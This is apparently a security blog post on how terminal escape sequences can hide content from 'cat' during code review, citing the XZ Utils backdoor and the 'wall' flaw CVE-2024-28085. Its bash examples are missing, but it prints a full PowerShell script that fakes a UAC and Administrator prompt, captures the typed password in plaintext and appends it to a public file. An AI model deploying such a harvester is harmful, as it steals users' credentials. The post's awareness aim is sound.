The latest hacking scheme of the XZ Utils vulnerability showcases the importance of code review. We can view different files as a raw file in something like Github. How often have you received or reviewed code in something like cat. Just looking over a simple bash or python script can look harmless, but simple escape characters can make cat’ing a file a false truth. Escape characters are the basis of a lot of vulnerabilities. This is true of things like SQL injection, OS command injection, Path Traversal, and XSS. Let’s take a look at a harmless script that we MAY be able to trust.
What is an escape character? Scripting languages use different characters to represent various operations that cannot be easily typed. The most common one seen is “n”. This is the newline character to skip to the next line while in a single line statement. An example of this can look like print(“This is my first line\nThis is my second line”). This will print out:
This is my first line
This is my second line
Super convenient when we need to organize certain input fields as a coder. Other common escape characters are “t” for a tab, “\” for a backslash, and “b” for a backspace. A hacker will see certain statements in code or return errors that may indicate the possibility of injection. We can further add obfuscation with different encodings like base64, ASCII, and ANSI. Hackers can create entire single-line scripts utilizing these escape characters. This gives an order of operations when attempting to read certain scripts. Here is an example of one of those script statements.
What is this command doing? This is telling my terminal to echo with interpretation of all escape characters. We are creating a bash script that will echo all the text that we denote as malicious. The “n” gives us a new line to exit the script we just echo’d. These next two escape characters are in ANSI and ASCII. The first “\033[A” moves the cursor up one line without erasing what is already there. The “\033” represents an ESC or escape. A new statement is made that will be printed before the file is made.
…That’s a lot of words, let’s see it in action.
First let’s make the script.
Make sure to chmod +x to make it executable. Then run the bash script.
BUT, what happens when we cat it out?
Other shenanigans can be done. John Hammond put out a tweet (X?) for using escape characters to look like a root level user had a shell.
The question is, when could this be a problem? The first and obvious answer is in any kind of code or script review done outside of a raw data file. These hidden characters can be impactful. Beyond code review, certain utils may be exploited. CVE-2024-28085 as published on thehackernews showcases improper neutralization of those escape sequences. A Linux command called the “wall” is used to write a message to the terminals of all logged in users on a server. Only superusers were supposed to be allowed to enable this action. The exploit, through the use of escape characters provided a fake command line to have users think a root terminal was running. This is a simple social engineering trick but can be effective. Someone could even add it to a bash script to make it hidden and act as a normal password would be. This could be achieved with a simple command like:
We could write to a file that we could go and read at any point as long as the machine is stays on. Putting this into a currently working bash statement or scheduled task would make this super effective. This can be done for a windows host too. Take a look at this following ps1.
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -AssemblyName System.Windows.Forms
$fakeUACMessage = "Please enter your IT Administrator password to continue."
$fakeUACTitle = "User Account Control"
[Microsoft.VisualBasic.Interaction]::MsgBox($fakeUACMessage, 'SystemModal, Information, OkOnly', $fakeUACTitle)
$host.UI.RawUI.ForegroundColor = "Red"
Write-Host -NoNewline "Administrator"
$host.UI.RawUI.ForegroundColor = "DarkYellow"
Write-Host -NoNewline "> "
$host.UI.RawUI.ForegroundColor = "Cyan"
Write-Host "Enter your Administrator password: "
$password = Read-Host -AsSecureString
$ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode($password)
try {
$plaintextPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($ptr)
} finally {
[System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ptr)
}
$plaintextPassword | Out-File -FilePath C:UsersPublictest.txt -Append
$host.UI.RawUI.ForegroundColor = "White"
Now let’s talk about what we first mentioned with the XZ Utils vulnerability. This is a long-standing social engineering campaign. The current belief is that this is a nation-state actor due to the sophistication and dedication to earning a reputation as a legitimate code contributor. As much as anyone would like to argue, social engineering is just as much hacking as any kind of l33t coding. A simple script like the ones above can add to the effectiveness but is not necessary. Just like escaping a script for some kind of injection, escaping the presence of mind from someone is quite the hack.
